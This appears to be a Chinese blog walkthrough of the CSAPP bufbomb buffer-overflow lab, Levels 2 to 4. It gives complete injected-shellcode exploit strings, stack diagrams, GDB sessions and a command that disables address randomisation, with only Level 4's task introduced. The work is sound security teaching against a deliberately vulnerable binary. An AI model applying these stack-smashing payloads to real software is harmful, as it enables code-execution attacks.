CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下)
3.3 Level 2: 爆竹
实验要求
这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了.bss和.text之间某些只读的段会引起操作系统的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码去修改global_value,这一段代码就叫做 exploit code。
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
第一步:bang()和global_value地址
我们驾轻就熟地得到bang()的入口地址0x08048e10,以及global_value的地址0x0804a1c4。
[root@vm bufbomb]$ objdump -t exploitcode | grep -e bang -e global_value
080483b9 g F .text 0000001d bang
080495bc g O .bss 00000004 global_value
第二步:运行时的栈地址
获得栈地址,从而知道我们注入代码的位置。方法就是为函数getbuf加断点,发现GDB会把断点加到0x8048ad6并停在这里,看下反汇编代码就能发现,0x8048ad6就是getbuf()执行完常规的三条指令(%ebp压栈、%ebp移动到%esp位置、移动%esp分配栈空间)之后的地方。现在就用info registers拿到我们最关心的栈地址%ebp=0xbfffb538:
[root@vm bufbomb]$ objdump -d bufbomb | grep -A 15 "<getbuf>:"
08048ad0 <getbuf>:
8048ad0: 55 push %ebp
8048ad1: 89 e5 mov %esp,%ebp
8048ad3: 83 ec 28 sub $0x28,%esp
8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax
8048ad9: 89 04 24 mov %eax,(%esp)
8048adc: e8 df fe ff ff call 80489c0 <Gets>
8048ae1: c9 leave
8048ae2: b8 01 00 00 00 mov $0x1,%eax
8048ae7: c3 ret
8048ae8: 90 nop
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
[root@vm bufbomb]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Temp/bufbomb/bufbomb...done.
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6
(gdb) run -t cdai
Starting program: /root/Temp/bufbomb/bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Breakpoint 1, 0x08048ad6 in getbuf ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.4.i686
(gdb) info registers
eax 0xbfffb520 -1073760992
ecx 0x0 0
edx 0x8910d0 8982736
ebx 0x0 0
esp 0xbfffb510 0xbfffb510
ebp 0xbfffb538 0xbfffb538
esi 0x804b018 134524952
edi 0xffffffff -1
eip 0x8048ad9 0x8048ad9 <getbuf+9>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
第三步:exploit代码的机器指令
为了避免手写机器指令出错,我们写一小段C和汇编程序,编译后提取出编译器为我们生成好的机器指令。其中movl $0x5e5ee04e,0x80495bc和call 80483b9两行就是我们想要的:
// exploitcode.c
#include <stdio.h>
int global_value = 0;
void bang(int val);
int main(int argc, char const *argv[])
{
// Mock exploit code
global_value = 1583276110; //0x5e5ee04e
bang(0);
return 0;
}
void bang(int val)
{
printf("%d\n", global_value);
}
// exploitcode.s
pushl $0x08048e10
ret
[root@vm bufbomb]$ gcc -o exploitcode exploitcode.c
[root@vm bufbomb]$ objdump -d exploitcode | grep -A15 "<main>:"
08048384 <main>:
8048384: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048388: 83 e4 f0 and $0xfffffff0,%esp
804838b: ff 71 fc pushl 0xfffffffc(%ecx)
804838e: 55 push %ebp
804838f: 89 e5 mov %esp,%ebp
8048391: 51 push %ecx
8048392: 83 ec 04 sub $0x4,%esp
8048395: c7 05 bc 95 04 08 4e movl $0x5e5ee04e,0x80495bc
804839c: e0 5e 5e
804839f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80483a6: e8 0e 00 00 00 call 80483b9 <bang>
...
[root@vm bufbomb]$ gcc -c exploitcode.s
[root@vm bufbomb]$ objdump -d exploitcode.o
exploitcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 68 10 8e 04 08 push $0x8048e10
5: c3 ret
关键技术点
先说一下碰到的问题,都是顺利做出这个实验的关键点:
- Linux内存地址随机化:Linux为了保护程序,每次加载都会使用不同的基地址,所以每次用GDB调试进入getbuf()后查看%esp和%ebp都是不同的。%ebp是动态的可就麻烦了!没法知道准确的栈地址怎么让我们注入的代码拿到CPU控制权啊?尝试断点卡在getbuf()时立即去修改exploit字符串也失败了,貌似bufbomb提前加载了它似的。最后没办法,手动关闭掉地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space。
- call绝对地址:call/jmp默认都是near跳转,使用相对地址。而我们注入的代码是在运行时栈上,要跳转的bang()是在.text段上,二者相隔“十万八千里”,直接计算相对地址的话将会是一个很大的数字。提示里建议:先将bang()地址压入栈,然后用ret指令实现绝对地址跳转,“微操作”啊!
- 自动生成机器指令:可以写一小段对应的C代码,但像把bang()地址压入栈后ret这种就没法写出对应的C了。提示里也给出了建议:新建一个.s汇编文件,编写想翻译的汇编后用gcc -c编译,然后objdump反汇编就行了。.s里可以只包含我们想翻译的汇编,不用是完整的代码。
- GDB调试命令参数:之前一直用cat exploit.raw | ./sendstring | ./bufbomb -t cdai运行,但在GDB里执行run时是不支持管道的。还想调试怎么办?最简单的办法就是把cat exploit.raw | ./sendstring > tmp重定向到临时文件,然后在GDB里run -t cdai < tmp启动调试。
最终exploit字符串
至此,bang()和global_value的地址、运行时栈地址、exploit的机器指令就都有了,万事俱备,接下来就可以构造溢出缓冲区的字节串了:
……………………………………………………………………………………………. 0xbfffb540
Return Address -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> padding 11 22 33 44
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520
……………………………………………………………………………………………. 0xbfffb510 <- %esp
根据我们的预想,getbuf()调用返回后的栈应该是这个样子,%esp回到调用getbuf()前的位置,而%ebp被损坏,但没关系(一直困惑bang()压入栈时不会报错吗?),最重要的是%eip指向了我们注入的代码起始位置:
……………………………………………………………………………………………. 0x44332211 <- %ebp
……………………………………………………………………………………………. 0xbfba3540 <- %esp
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520 <- %eip
实验结果
运行一下,真的成功了!做这个实验的感想就是,要是没有Linux内存地址随机化保护的话,还真挺容易利用缓冲区溢出漏洞exploit代码的。但要是buf是全局变量,地址固定的话,是不是Linux也无能为力了呢?
[root@vm bufbomb]$ cat exploit_level_2.raw
c705c4a104084ee05e5ec704240000000068108e0408c3001122334420b5ffbf
[root@vm bufbomb]$ cat exploit_level_2.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Bang!: You set global_value to 0x5e5ee04e
NICE JOB!
Sent validation information to grading server
3.4 Level 3: 炸药
前面三个实验都使程序跳转到一个会立刻终止的函数,smoke()、fizz()、bang()都是这样的,所以尽管我们破坏了栈,也没有关系,反正程序不久后就会终止。但对于这一级别的实验就不可行了,在Level 3里,我们将getbuf()的返回值修改为我们的cookie,并“悄无声息”地返回到调用者test()中。
void test()
{
int val;
volatile int local = 0xdeadbeef;
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}
仿照上一个实验的三步。首先第一步,我们要找的不是test()的入口地址,而是test()在调用getbuf()之后的那一条指令的地址,0x08048db2。
[root@vm bufbomb]$ objdump -d bufbomb | grep -A20 "<test>:"
08048da0 <test>:
8048da0: 55 push %ebp
8048da1: 89 e5 mov %esp,%ebp
8048da3: 83 ec 18 sub $0x18,%esp
8048da6: c7 45 fc ef be ad de movl $0xdeadbeef,0xfffffffc(%ebp)
8048dad: e8 1e fd ff ff call 8048ad0 <getbuf>
8048db2: 89 c2 mov %eax,%edx
...
第二步,用GDB获得运行时栈地址是0x0xbfffb538,saved %ebp是0x0xbfffb558。
[root@vm bufbomb]$ gdb bufbomb
...
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6
(gdb) run -t cdai < tmp
Team: cdai
Cookie: 0x5e5ee04e
Breakpoint 1, 0x08048ad6 in getbuf ()
(gdb) info re
eax 0xc 12
ecx 0x0 0
edx 0x3760d0 3629264
ebx 0x0 0
esp 0xbfffb510 0xbfffb510
ebp 0xbfffb538 0xbfffb538
esi 0x804b018 134524952
edi 0xffffffff -1
eip 0x8048ad6 0x8048ad6 <getbuf+6>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/18x $sp
0xbfffb510: 0x0076e2d8 0x00000000 0x00000000 0x00000000
0xbfffb520: 0x080484da 0x00000000 0x0804a12c 0xbfffb564
0xbfffb530: 0x00374ff4 0x0804b018 0xbfffb558 0x08048db2
0xbfffb540: 0x00279e83 0x003754c0 0x0804966e 0xbfffb564
0xbfffb550: 0xbfffb564 0xdeadbeef
第三步,编译手写汇编代码得到机器指令。
[root@vm bufbomb]$ gcc -c exploitcode_level2.s
[root@vm bufbomb]$ cat exploitcode_level2.s
movl $0x5e5ee04e,%eax
pushl $0x08048da0
ret
[root@vm bufbomb]$ objdump -d exploitcode_level2.o
exploitcode_level2.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 4e e0 5e 5e mov $0x5e5ee04e,%eax
5: 68 a0 8d 04 08 push $0x8048da0
a: c3 ret
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 38 b5 ff bf 0xbfffb538
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00112233445566
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520
……………………………………………………………………………………………. 0xbfffb510 <- %esp
关键技术点
- 必须重利用0xbfffb538和0xbfffb53c位置来保存test()的Saved %ebp和Return address,这样我们exploit代码执行leave和ret时,就像又“重播”了getbuf()里的leave和ret一样,这样才能不被察觉地返回到test()中!
- push压栈修改的是%esp而非%ebp。
A.刚跳转到exploit代码时的栈
……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit)
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520 <- %eip
B.压入test()的return地址和%ebp后的栈
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538 <- %ebp/%esp
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f <- %eip
C.执行leave还原%ebp和%esp后的栈
leave相当于 mov %ebp,%esp 并且 pop %ebp。
……………………………………………………………………………………………. 0xbfffb558 <- %ebp
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c <- %esp
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530 <- %eip
D.执行ret跳转回test()后的栈
ret相当于 pop %eip。
……………………………………………………………………………………………. 0xbfffb558 <- %ebp
……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538
89 c2 mov %eax,%edx
……………………………………………………………………………………………. 0x08048db2 <- %eip
运行一下,成功了!
[root@vm bufbomb]$ cat exploit_level_3.raw
b84ee05e5e68b28d04086858b5ffbfc9c30011223344556638b5ffbf20b5ffbf
[root@vm bufbomb]$ cat exploit_level_3.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Boom!: getbuf returned 0x5e5ee04e
NICE JOB!
Sent validation information to grading server
3.5 Level 4: 硝化甘油
讲义上说了,完成Level 0到3就已经是100分了!这最终Level的挑战就是解决前面遇到过的,运行时栈地址会变化的问题。CMU说这里给出的方法不稳定,有时奏效有时segfault,标题里的一种不稳定的炸药-“硝化甘油”正是暗喻了这种攻击方法的不稳定。用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn():
int getbufn()
{
char buf[512];
Gets(buf);
return 1;
}
getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务与上一Level完全相同,就是保证getbufn()每次都返回我们的cookie而不是1。
CSAPP缓冲区溢出攻击实验(下)的更多相关文章
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...
- CSAPP:逆向工程【缓冲区溢出攻击】
逆向工程[缓冲区溢出攻击] 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程. 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程 ...
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- CSAPP阅读笔记-变长栈帧,缓冲区溢出攻击-来自第三章3.10的笔记-P192-P204
一.几个关于指针的小知识点: 1. malloc是在堆上动态分配内存,返回的是void *,使用时会配合显式/隐式类型转换,用完后需要用free手动释放. alloca是标准库函数,可以在栈上分配任 ...
- CSAPP 缓冲区溢出试验
缓冲区溢出试验是CSAPP课后试验之一,目的是: 更好的理解什么是缓冲区溢出 如何攻击带有缓冲区溢出漏洞的程序 如何编写出更加安全的代码 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性 ...
随机推荐
- 深入探究Lua的GC算法(下)-《Lua设计与实现》
紧接着上一篇文章zblade:深入探究Lua的GC算法(上)-<Lua设计与实现> 这篇文章让我们收尾GC的具体后续操作.转载请标明出处:http://www.cnblogs.com/zb ...
- 1024MySQL事物提交机制
转自 http://www.cnblogs.com/exceptioneye/p/5451960.html MySQL作为一种关系型数据库,已被广泛应用到互联网中的诸多项目中.今天我们来讨论下事务的提 ...
- [LeetCode] Max Stack 最大栈
Design a max stack that supports push, pop, top, peekMax and popMax. push(x) -- Push element x onto ...
- zabbix利用orabbix监控oracle
Orabbix 是一个用来监控 Oracle 数据库实例的 Zabbix 插件.(插件安装在zabbix-server端) 下载地址:http://www.smartmarmot.com/produc ...
- Mac OS X磁盘重新分区后 BootCamp Windows启动项丢失
前言 我有一台Mac,装有OS X和Windows两系统,因Windows和OS X都能读写exFAT分区, 故若在Machintosh HD和Windows HD之间开辟一个exFAT分区,可以作为 ...
- CSAPP-过程调用,数据存储,缓冲区溢出
程序编译: 1.预处理阶段: 1.文件包含:将#include扩展成文件正文 2.条件编译:根据#if和#ifdef将程序的某部分排除或者包含 3.宏展开:将出现宏引用的地方展开成相应的宏 2.编译阶 ...
- C++Primer学习——各种运算符
前缀递增和后缀递增 class NewInt { public: NewInt():RootInt(0){}; NewInt(int IniInt):RootInt(IniInt){}; NewInt ...
- NOIP2014-11-3模拟赛
字符串 题目描述 现在给一个字符串,你要做的就是当这个字符串中存在两个挨着的字符是相同的时就将这两个字符消除.需要注意的是,当把这两个字符消除后,可能又产生一对新的挨着的字符是相同的.比如,初始的字符 ...
- hdu 5266 pog loves szh III(lca + 线段树)
I - pog loves szh III Time Limit:6000MS Memory Limit:131072KB 64bit IO Format:%I64d & %I ...
- Bubble Cup X - Finals [Online Mirror]
来自FallDream的博客,未经允许,请勿转载,谢谢. 组了个菜鸡队打cf上的ACM比赛 比较快做完了8题但是菜的抠脚罚时巨多,所以最后被顶到了19名(居然没出首页) 自己的号自从上次疯狂掉分就没动 ...